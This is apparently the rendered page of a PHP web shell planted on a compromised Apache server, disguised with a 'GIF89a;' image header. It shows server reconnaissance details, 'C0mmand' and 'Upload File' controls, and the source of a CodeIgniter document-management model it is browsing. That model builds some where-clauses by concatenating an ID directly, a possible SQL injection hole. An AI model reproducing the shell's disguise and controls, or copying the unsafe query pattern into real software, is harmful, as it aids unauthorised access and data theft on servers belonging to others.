GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.129.67.248 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/models/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Model Class For Handling All DB Operations Related To Documents * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class DocumentManagement extends CI_Model { function createNewDocument(array $newDocumentInfo) { $this->db->insert('tbl_document_master', $newDocumentInfo); return $this->db->insert_id(); } function getAllDocuments() { $this->db->select("TDOCM.doc_id,TDOCM.doc_name,TDOCM.doc_related_to doc_related_to_flag," . "FLAG_DECODER('DOC_INFO',TDOCM.doc_related_to) doc_related_to,TDOCM.doc_description,TDOCM.doc_delete_status,TDOCM.doc_active_status," . "TDOCM.doc_added_by,TDOCM.doc_added_on,TDOCM.doc_updated_by,TDOCM.doc_updated_on,TDOCM.doc_flag," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_document_master TDOCM'); $this->db->join('tbl_staff_members TSMA', 'TDOCM.doc_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TDOCM.doc_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->order_by("TDOCM.doc_updated_on", "desc"); return $this->db->get(); } function getDocumentBy($doc_id) { $this->db->select("TDOCM.doc_id,TDOCM.doc_name,TDOCM.doc_related_to doc_related_to_flag," . "FLAG_DECODER('DOC_INFO',TDOCM.doc_related_to) doc_related_to,TDOCM.doc_description,TDOCM.doc_delete_status,TDOCM.doc_active_status," . "TDOCM.doc_added_by,TDOCM.doc_added_on,TDOCM.doc_updated_by,TDOCM.doc_updated_on,TDOCM.doc_flag," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_document_master TDOCM'); $this->db->join('tbl_staff_members TSMA', 'TDOCM.doc_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TDOCM.doc_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where('doc_id', $doc_id); return $this->db->get(); } function getDocumentByName($doc_name) { $this->db->select('*'); $this->db->from('tbl_document_master'); $this->db->where('doc_name', $doc_name); return $this->db->get(); } function getDocumentByFlag($flag) { $this->db->select('*'); $this->db->from('tbl_document_master'); $this->db->where('doc_flag', $flag); return $this->db->get(); } function getDocumentRelatedTo($doc_related_to) { $this->db->select('*'); $this->db->from('tbl_document_master'); $this->db->where('doc_related_to', $doc_related_to); return $this->db->get(); } function getAllDocumentsUptoCategory($category = '') { $this->db->select("TDOCM.doc_id,TDOCM.doc_name,TDOCM.doc_related_to,TDOCM.doc_description,TDOCM.doc_active_status,TDOCM.doc_delete_status," . "TDOCM.doc_added_by,TDOCM.doc_updated_by,TDOCM.doc_added_on,TDOCM.doc_updated_on,TDOCM.doc_flag"); $this->db->from('tbl_document_master TDOCM'); if ($category == "") { $this->db->where("TDOCM.doc_active_status", "T"); $this->db->where("TDOCM.doc_delete_status", "F"); } else if ($category == "UG") { $this->db->where("TDOCM.doc_active_status", "T"); $this->db->where("TDOCM.doc_delete_status", "F"); $this->db->where("TDOCM.doc_related_to", "SUG"); } else { $this->db->where("TDOCM.doc_active_status", "T"); $this->db->where("TDOCM.doc_delete_status", "F"); $this->db->where("TDOCM.doc_related_to = 'SUG' OR TDOCM.doc_related_to = 'SPG'"); } return $this->db->get(); } function isDocumentNameSafeUpdate($doc_id, $doc_name) { $this->db->select("*"); $this->db->from('tbl_document_master'); $this->db->where('doc_name', $doc_name); $this->db->where('doc_id != ' . $doc_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function isDocumentFlagSafeUpdate($doc_id, $doc_flag) { $this->db->select("*"); $this->db->from('tbl_document_master'); $this->db->where('doc_flag', $doc_flag); $this->db->where('doc_id != ' . $doc_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function updateDocumentInfo(array $documentUpdatedInfo) { $this->db->where('doc_id', $documentUpdatedInfo['doc_id']); return $this->db->update('tbl_document_master', $documentUpdatedInfo); } }